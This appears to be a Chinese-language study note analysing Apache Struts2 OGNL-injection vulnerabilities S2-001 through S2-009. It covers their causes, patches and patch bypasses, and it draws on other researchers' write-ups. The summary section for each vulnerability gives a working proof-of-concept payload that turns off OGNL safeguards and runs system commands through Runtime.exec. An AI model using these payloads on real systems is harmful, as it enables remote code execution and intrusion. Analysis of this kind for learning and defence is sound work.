Struts2 框架虽然现在使用者很少了,但是作为一代传说,很值得分析一下。参考【8】中Qu3een 提到Spring4shell 的原理与struts2 类加载器漏洞利用方式类似,其实Confluence CVE-2021-26084 模板二次注入也和struts2 有关,因此决定系统性的梳理struts2 漏洞系列。
许多师傅们也都分析过了,参考文章中su18师傅的5篇、Qu3een师傅长篇,很详细也有深度,总结的很好。纸上得来终觉浅,本文主要还是准备作为学习笔记,其中与师傅们相似的内容就不过多赘述了。
0x01 前言
环境搭建推荐参考【8】中xhycccc 师傅的Struts2-Vuln-Demo 项目,基于IEDA 搭建的源码环境。本文中,准备每个漏洞按以下几点来进行。
- 漏洞描述:这里不赘述,可以参考【8】中Qu3een师傅的整理
- 漏洞影响:同上
- 漏洞分析:按知识点来分析,师傅们主动跟踪调试的过程就不复述了
- 漏洞修复:师傅们都穿插在文章中,单独这里也统一做个小节
- 漏洞小结:自己理解的漏洞重点,做个小结
0x02 S2-001
影响版本:WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-001
描述:由于在 variable translation 的过程中,使用了 while(true) 来进行字符串的处理和表达式的解析,导致攻击者可以在可控的能解析的内容中通过添加 “%{}” 来使应用程序进行二次表达式解析,这就导致了ognl注入,也就是所谓的RCE漏洞。官方将这种解析方式描述为递归,实际上不是传统意义上的递归,只是循环解析。
2.1 背景知识
几个struts 前提知识点:
- altSyntax: 在开启时,支持对标签中的 OGNL 表达式进行解析并执行。altSyntax 功能在处理标签时,对 OGNL 表达式的解析能力实际上是依赖于开源组件 XWork。
- default stack
- root: CompoundRoot
- Action: 为当前struts action 对象
- Provider
- context
- root: CompoundRoot
2.1.1 struts2 的MV(MVC) 流程
M 对应的是Action,V 对应的是模板
以上的例子中
- V:
<s:textfield name="username" label="username" />
- M:LoginAction,其中属性username=”${1+1}”
html标签有很多属性是共同的,比如name、label、value、onerror等,UIBean可以看作是基础的html标签实现,这里有一个比较特殊的属性”value”。这个例子中UIBean 是如何给TextField value赋值的?大致逻辑如下:
- doEndTag 调用evaluateParams,为属性赋值
- evaluateParams 首先统一将所有的属性录入paramters 属性内
- 针对value 特殊处理,如果没有value,那么用从Action中去获取name 对应参数对应的值,
this.findValue("%{" + name + "}", valueClazz)
,例子中name 为”username” - 根据paramters,生成html
可以看出来是通过stack 去获取Action 中的属性。
2.2 漏洞分析
这个漏洞的成因为UIBean获取value过程中,用到的是TextParseUtil#translateVariables,translateVariables实现上有问题,该方法会循环解析expression,如果expression 解析出来还带有%{}特征则继续解析,从而导致Ognl注入。
漏洞代码如下:
1 | # file:TextParseUtil |
漏洞调试跟踪及分析师傅们的文章很多了,这里不赘述,可以参考师傅们的调试过程。
2.3 漏洞修复
TextParseUtil#translateVariables 在xwork 包内,修复代码如下,限制了循环解析,只解析一遍。
2.4 漏洞小结
POC:
1 | %{@java.lang.Runtime@getRuntime().exec('open -a Calculator')} |
- 这个漏洞产生的原因是TextParseUtil#translateVariables 的循环解析导致的,大致逻辑是把%{exp} 反复解析,直至没有%{}特征。
- UIBean 解析value 是因为前端模板展示需要获取用户输入信息,这个信息保存在Action 属性里。这里应该只是这个sink点的一个source,可能还有其他点,这里也不展开了。
- 循环解析%{},和log4j2 解析${} 是不是很相似?
0x03 S2-003
影响版本:Struts 2.0.0 - Struts 2.1.8.1
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-003
描述:在拦截器 ParametersInterceptor 调用 setParameters() 装载参数时,会使用stack.setValue() 最终调用 OgnlUtil.setValue() 方法来使用 OGNL 表达式解析参数名,造成漏洞。
3.1 背景知识
Struts2 架构:
每个Struts2 Action 对应有一些列的Interceptors,在web.xml/struts.xml中定义。
3.2 漏洞分析
3.2.1 ParametersInterceptor
在Struts 中,是在Action 中保存参数的,例如S2-001例子中的username、password,然后通过全局的stack 用于他处。具体是如何对Action 属性进行赋值的呢?答案是ParametersInterceptor。
具体赋值过程不表,大致也是通过stack.setValue,具体实现还是Ognl.setValue。
不过有一个简单的正则过滤,param必须符合以
1 | public class ParametersInterceptor extends MethodFilterInterceptor { |
其中参数名有正则过滤,但是《Struts2系列一:OGNL 表达式》一文中我们有提到ognl 支持unicode,可以实现绕过该正则,实现Ognl.setValue的RCE。
但是并非如此简单,还引入了个denyMethodExecution来禁止静态方法的调用。为了解释这个“限制”是如何实现的,需要先了解OgnlContext上下文。
3.2.2 OgnlContext
OgnlContex 是Ongl表达式运行的全局上下文。OgnlContext是如何初始化的?
除了stack root的Action里面会保留有req参数,context里面的parameters也有,不过是在FilterDispatcher的时候进行复赋值的,Action里面的属性是在ParametersInterceptor 赋值的。
1 | invoke:221, DefaultActionInvocation (com.opensymphony.xwork2) |
其中Dispatcher#serviceAction 进行了parameters 赋值。
1 | public void serviceAction(HttpServletRequest request, HttpServletResponse response, ServletContext context, ActionMapping mapping) throws ServletException { |
3.2.3 denyMethodExecution
之前系列的OGNL一文中有解释OGNL是如何执行静态方法的,调用栈如下。
1 | callStaticMethod:95, XWorkMethodAccessor (com.opensymphony.xwork2.util) |
XWorkMethodAccessor#callStaticMethod
1 | public Object callStaticMethod(Map context, Class aClass, String string, Object[] objects) throws MethodFailedException { |
可以看出,此处通过denyMethodExecution限制了静态方法的调用。
这也就是ParametersInterceptor 中OgnlContextState.setDenyMethodExecution(contextMap, true);
的最终效果,更改OgnlContext[“xwork.MethodAccessor.denyMethodExecution”] = true。
3.2.4 #context
ParameterInterceptor中是如此调用setValue的:
ParameterInterceptor#stack.setValue(name, value);
OgnlValueStack#OgnlUtil.setValue(expr, context, this.root, value);
OgnlUtil#Ognl.setValue(compile(name), context, root, value);
我们的目的是修改OgnlContext[“xwork.MethodAccessor.denyMethodExecution”],但是”xwork.MethodAccessor.denyMethodExecution” 不是OgnlContext 的属性,而只是OgnlContext implements Map,是Map 里面的一个item key。
所以如何修改OgnlContext 的item key的value。
可以看到,#context 获取到的就是当前OgnlContext。
3.2.5 setParameters上下文
以下的这些开关,为什么先置为true,后又恢复false?
- 这些开关默认是false
- 拷贝一个stack,修改以上3个属性值,作为运行ognl的stack环境
- ognl表达式运行完成后,恢复这些值,因为系统本身还要有这种调用。
3.3 漏洞小结
POC:
1 | ('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(t)(c)&('\u0023test\u003d@java.lang.Runtime@getRuntime().exec(\'open\u0020/System/Applications/Calculator.app\')')(a)(b) |
- 这个漏洞产生的原因是Struts 中通过ParametersInterceptor 实现中OGNL
- acceptedParamNames 很有意思,类似参数名eee这种就不符合
- 很多文章提到可以8进制绕过,但是实测失败,ognl.JavaCharStream中也未看到8进制编码的支持,不知道什么原因。
- Ognl.setValue 的触发方式需要 (exp)(a)(b)这个姿势,与getValue直接exp不同。su18师傅的文章中详细介绍了Ognl的这种情况下的执行流程,强烈建议阅读师傅的原文,这里不画蛇添足了,有以下重要知识点
- (one)(two) 这种Ognl表达式getValue的执行流程
- (one)(two)(three) 这种Ognl表达式setValue的执行流程
- OGNL 对参数解析顺序,静态方法的解析会优先解析,原因为TreeMap默认排序按照key的字典顺序排序,即升序,这也是为什么在@java 添加#test= 使用赋值的原因
3.4 漏洞修复
S2-005 是对S2-003的修复。详见下节。
已知通过反射开关,关掉了S2-003的denyMethodExecution功能。那怎么修?
0x04 S2-005
影响版本:Struts 2.0.0 - Struts 2.1.8.1
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-005
描述:为了修复 S2-003,官方添加了 SecurityMemberAccess ,但是没有从根本上进行修复漏洞。
4.1 漏洞分析
by su18师傅: 官方在 struts2-core 2.0.12 对 S2-003 进行了修复,实际上是 xwork 2.0.6 版本修复。S2-005 是对 S2-003 修复的绕过。
新增了 MemberAccessValueStack 和 ClearableValueStack 接口,由 OgnlValueStack 实现,用来配置额外的属性和清除 context 中的内容,并为 OgnlValueStack 添加了新的 allowStaticMethodAccess 和 securityMemberAccess 属性,用来限制静态方法的调用。
注:xhycccc 师傅项目的S2-005 依赖包有些问题,xwork用的2.0.5,要改成2.0.6。
4.1.1 补丁分析 newStack
同样的,看看diff。
这里完全全新的new了个stack,为的就是能够在ognl setValue的时候,不能够访问原始stack里面的一些敏感信息。
4.1.2 补丁分析 securityMemberAccess
除了newStack,还有个重点
- accessValueStack.setAcceptProperties(this.acceptParams)
- accessValueStack.setExcludeProperties(this.excludeParams)
来看看accessValueStack 的这两个方法
1 | public void setExcludeProperties(Set<Pattern> excludeProperties) { |
OgnlValueStack 引入了新的属性securityMemberAccess
4.1.3 补丁思路
前文提到过,OgnlContext 和 OgnlValueStack 上都保存有上下文信息,S2-003 就是在OgnlContext 上引入denyMethodExecution 开关来打补丁,但是被#context 获取到OgnlContext 绕过了。
直接将开关放在 OgnlContext 上是不行的,那么放在OgnlValueStack上?
4.1.4 如何修改SecurityMemberAccess
如何通过修改OgnlValueStack中的SecurityMemberAccess?
3.2.4 一节中有讲到,如何获取OnglContext,那么对于OgnlValueStack下的SecurityMemberAccess,又要怎么获取呢?
答案是:#_memberAccess
4.2 漏洞小结
POC:
1 | (%27\u0023_memberAccess.allowStaticMethodAccess\u003dtrue%27)(su18)(su19)&(%27\u0023_memberAccess.acceptProperties\u003d@java.util.Collections@EMPTY_SET%27)(su20)(su21)&(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(su22)(su23)&(%27\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET%27)(su24)(su25)&(%27\u0023su26\u003d@java.lang.Runtime@getRuntime().exec(\%27open\u0020/System/Applications/Calculator.app\%27)%27)(su27)(su28) |
总结:
- 这个漏洞是S2-003 的补丁绕过,S2-003 的补丁的确是没有抓住问题的本质:可以通过“#”获取OgnlContext或者OgnlValueStack。
- ParametersInterceptor#excludeParams 属性是如何初始化的,这个暂时没详细跟踪,也不是重点。
4.3 漏洞修复
0x05 S2-007
影响版本:Struts 2.0.0 - Struts 2.2.3
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-007
描述:关于表单我们可以设置每个字段的规则验证,如果类型转换错误时,在类型转换错误下,拦截器会将用户输入取出插入到当前值栈中,之后会对标签进行二次表达式解析,造成表达式注入。
5.1 漏洞分析
这个漏洞发生在ConversionErrorInterceptor,这块su18 师傅讲得很清楚了。 大致流程如下:
- 当存在ConversionError 的时候ConversionErrorInterceptor 会在invocation增加一个PreResultListener,作用为将前端输入的key、value 添加到OgnlValueStack.overrides 中。
- invocation 在invoke 的逻辑中处理PreResultListener。
- OgnlValueStack overrides 成功被赋值,渲染vm 模板的时候通过findValue 触发Ognl表达式注入。
从后往前看
5.1.1 OgnlValueStack.overrides
如果控制overrides,相当于控制了expr,可以触发Ognl表达式注入。
1 | getValue:342, OgnlValueStack (com.opensymphony.xwork2.ognl) |
5.1.2 ConversionErrorInterceptor
ConversionErrorInterceptor#intercept
给DefaultActionInvocation增加preResultListener方法。
注意这里getOverrideExpr,因此需要对其进行闭合。
1 | protected Object getOverrideExpr(ActionInvocation invocation, Object value) { |
DefaultActionInvocation#invoke
listener.beforeResult 执行前文的preResultListener 方法。
5.1.3 ConversionError 的产生
参考Struts2 的conversion 文档: Struts2 Type Conversion
struts内置一些基本类型的转换器,例如string/int 之间的转换。
当ParametersInterceptor#setParameters 进行对参数赋值时,最终会调用OgnlRuntime#setProperty,如果目标类型和值类型不匹配的时候,则会通过Converter进行转化。
1 | handleConversionException:438, XWorkConverter (com.opensymphony.xwork2.conversion.impl) |
5.2 漏洞修复
5.3 漏洞小结
POC:
1 | name=m0d9&email=m0d9%40m0d9.me&age=%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dnew+java.lang.Boolean%28%22false%22%29%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27open+-a+Calculator.app%27%29.getInputStream%28%29%29%29+%2B+%27 |
- 通过控制overrides,实现Ognl表达式注入。
- ConversionError 本意是将不能正确赋值的参数,能够透出给前台用户,但是因为未做过滤,因此造成漏洞。
- 数据流差不多转了三步,主动发现还是有难度的,需要有大局意识,对Struts结构也要有一定了解。
0x06 S2-008
影响版本:Struts 2.0.0 - Struts 2.3.17
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-008
描述:官方文档提出了 4 种绕过防御的手段,其中关注比较多的是 Debug 模式导致的绕过。
6.1 漏洞修复
针对S2-005
在S2-005中其实已经引入了acceptedParamNames,不过因为太过宽泛,基本没什么过滤效果。在S2-008中,加强了正则的限制。
- 改进前:[\p{Graph}&&[^,#:=]]*]
- \p{Graph} 表示任何可见字符
- [^,#:=] 排除了”,#:=“ 这四个特殊字符
- 改进后:[a-zA-Z0-9\.\]\[\(\)_’\s]+
- a-zA-Z0-9
- . ] [ ( ) _ ‘ 几个特殊字符
- \s 空字符串
通过 “#”获取context属性已经不可以了
\转义也没了
但是,acceptedParamNames只是作用于参数名name,并不作用于参数值value,这就是S2-009了。
6.2 漏洞分析
6.2.1 Cookie
CookieInterceptor 的逻辑很简单,和ParametersInterceptor 类似。
但是CookieInterceptor 默认未开启。
这里直接参考su18师傅的结论
大多 Web 容器对 Cookie 名称都有字符限制,例如 tomcat 不允许出现以下字符:
这基本上阻拦了 ognl 调用的方式,想了一下确实没有想到能绕过的方式。略过。
1 | public static final char SEPARATORS[] = { '\t', ' ', '\"', '(', ')', ',', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '{', '}' }; |
6.2.2 Debug
DebuggingInterceptor,逻辑也不复杂,都在DebuggingInterceptor#intercept 里面。su18师傅也讲得很仔细了。
6.3 漏洞小结
POC:
1 | debug=command |
0x07 S2-009
影响版本:Struts 2.0.0-Struts 2.3.1.1
参考链接:https://cwiki.apache.org/confluence/display/WW/S2-009
描述:由于 ParametersInterceptor 对参数名进行了过滤,对参数值没有进行过滤,结合其正则可以使用 () 和 [] 的特性,以及 Struts Action 参数会被放在 ValueStack Root 里可以不使用 # 调用的特性,可以绕过校验。
7.1 漏洞分析
S2-009 是对 S2-005 的绕过,但是不同的是,S2-009 是参数值注入,对于 S2-003/S2-005 都是参数名的 OGNL 注入,这次的漏洞出在参数值上。
S2-008 中我们已经关注了acceptedParamNames 这个过滤条件,会限制参数名。
1 | private String acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+"; |
反斜线、# 都不可用
newStack.setValue(name, value);
poc的思路很6:把poc写在value 里面,然后用正常的name触发二次解析。
这里需要对Ognl setValue的触发poc很了解,详见su18师傅对于S2-003 的解释。
7.1.1 setValue: (su17)(poc)(su19)
su18师傅的poc
1 | param=(#context["xwork.MethodAccessor.denyMethodExecution"]=new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec("open -a Calculator.app"))(su17)&(param)(su19)=true |
这个拆开是ok的
1 | public void twice2() throws OgnlException { |
但是直接拿这个poc打是不会成功的,因为和S2-003一样的问题,先会解析(param)(su19)=true,才去解析param,因此最终poc用z开头包了一层,保证解析顺序。
7.1.2 top[“param”](0)
其实可以简单的将top[“param”] 看成(foo),不过因为是以t开头,所以后解析,后面的(0)无所谓。详见su18师傅的文章。
7.2 漏洞修复
7.3 漏洞小结
POC
1 | foo=#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false),#_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('open -a Calculator.app')&z[(foo)('meh')]=true |
- 需要熟悉setValue 形式的表达式注入原理才能理解这个漏洞的原理。务必细看S2-003 su18师傅那一节。
0x08 小结
su18师傅的文章写得太棒了,逻辑清晰,还有独特的知识点,相形见绌,大半都是引用的师傅的文章,都不想再写下去。。。
纸上得来终觉浅,不求写给别人看,权当自己的笔记吧。
0x09 参考
- [1] Struts2:你说你好累,已无法再爱上谁(一)(by:su18)
- [2] Struts2:你说你好累,已无法再爱上谁(二)(by:su18)
- [3] Struts2:你说你好累,已无法再爱上谁(三)(by:su18)
- [4] Struts2:你说你好累,已无法再爱上谁(四)(by:su18)
- [5] Struts2 系列漏洞调试总结 (by:su18)
- [6] Vulhub/Struts2 (by:phith0n)
- [7] Struts2著名RCE漏洞引发的十年之思 (by:深信服千里目安全实验室)
- [8] Struts2漏洞集合分析与梳理 (by:Qu3een)
- [9] xhycccc/Struts2-Vuln-Demo
- [10] struts2/Security Bulletins